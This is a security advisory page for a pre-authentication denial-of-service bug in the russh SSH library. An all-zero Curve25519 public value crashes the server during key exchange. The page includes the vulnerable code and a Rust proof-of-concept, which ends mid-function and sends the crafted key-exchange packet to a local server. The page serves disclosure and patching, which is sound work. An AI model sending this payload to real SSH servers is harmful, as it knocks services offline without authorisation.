medium

GHSA-5xvq-cp9x-6p6r

crates.io · russh

Summary

Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)

Severity
medium
CVSS
5.3
CWE
CWE-754
Published
2026-07-24
Updated
2026-07-24

Advisory details

A pre-authentication denial-of-service panic in russh 0.62.2 (commit c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the all-zero peer public value, so server_dh() computes the all-zero shared secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...), which indexes s[i] at i == s.len() and panics (index out of bounds: the len is 32 but the index is 32) before host-key signature verification. The server KEX task dies on the first KEX message, before authentication.

This is reachable with the default server configuration (Config::default() → Preferred::DEFAULT, whose kex list includes curve25519-sha256) and requires no caller-supplied parameter. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real server + raw TCP client over TCP); the PoC below links the real crate, not a copied snippet. The defect is still present on main HEAD (v0.62.3, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not Curve25519).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.

Details

russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):

fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {
    // only the 32-byte length is checked, NOT zero / low-order:
    let mut pubkey = MontgomeryPoint([0; 32]);
    pubkey.0.clone_from_slice(&payload[5..5 + 32]);      // line 73
    ...
    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]
    self.shared_secret = Some(shared);                    // line 86
    Ok(())
}

The server then computes the exchange hash before verifying the host-key signature (russh/src/server/kex.rs):

kex.server_dh(exchange, &input.buffer)?;                    // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?;  // line 274 — panics

compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose leading-zero skip loop advances i to s.len() and then indexes s[i] (russh/src/kex/mod.rs):

pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {
    let mut i = 0;
    while i < s.len() && s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input
    if s[i] & 0x80 != 0 {                        // line 482 — index out of bounds: s[s.len()]
        ...

On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32]) (the identity element), so the all-zero shared secret is attacker-controlled. RFC 7748 §6 requires implementations to detect and reject all-zero / low-order peer public values and shared secrets; russh does not. The client path (compute_shared_secret, curve25519.rs:110-142) has the same chain but is reached only after the server host-key signature is verified, so it requires a malicious server that can sign its own host key (same root cause, lower severity).

PoC

The PoC is a standalone examples/ binary that links the unmodified real russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex), proving the panic is caused specifically by the all-zero value.

One-line reproducer

# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519

russh/examples/e2e_t13_zero_curve25519.rs

// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh's SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;

use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};

const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;

#[tokio::main]
async fn main() {
    println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");

    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
    println!();
    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;

    println!("\n=== summary ===");
    println!("case    | server panicked | got ECDH_REPLY");
    println!("ATTACK  | {atk_panic:<15} | {atk_reply}   (Q_C = all-zero)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_reply}   (Q_C = random non-zero)");

    if atk_panic && !atk_reply && !ctl_panic && ctl_reply {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
        println!("   all-zero Curve25519 point makes the real russh server panic");
        println!("   inside encode_mpint (index out of bounds: len 32, index 32)");
        println!("   during compute_exchange_hash, BEFORE host-key verification.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

enum QcKind { AllZero, Random }

async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)
    // + real Ed25519 host key.
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(
        russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
    );
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
        session.await
    });

    // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
    let mut s = TcpStream::connect(addr).await.unwrap();
    s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
    s.flush().await.unwrap();
    let _server_id = read_ssh_id(&mut s).await.unwrap();
    let _server_kexinit = read_packet(&mut s).await.unwrap();
    s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
    s.flush().await.unwrap();

    let q_c: [u8; 32] = match qc {
        QcKind::AllZero => [0u8; 32],
        QcKind::Random => {
            let mut b: [u8; 32] = rand::random();
            if b.iter().all(|&x| x == 0) { b[0] = 1; }
            b
        }
    };
    let mut ecdh_init = Vec::new();

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.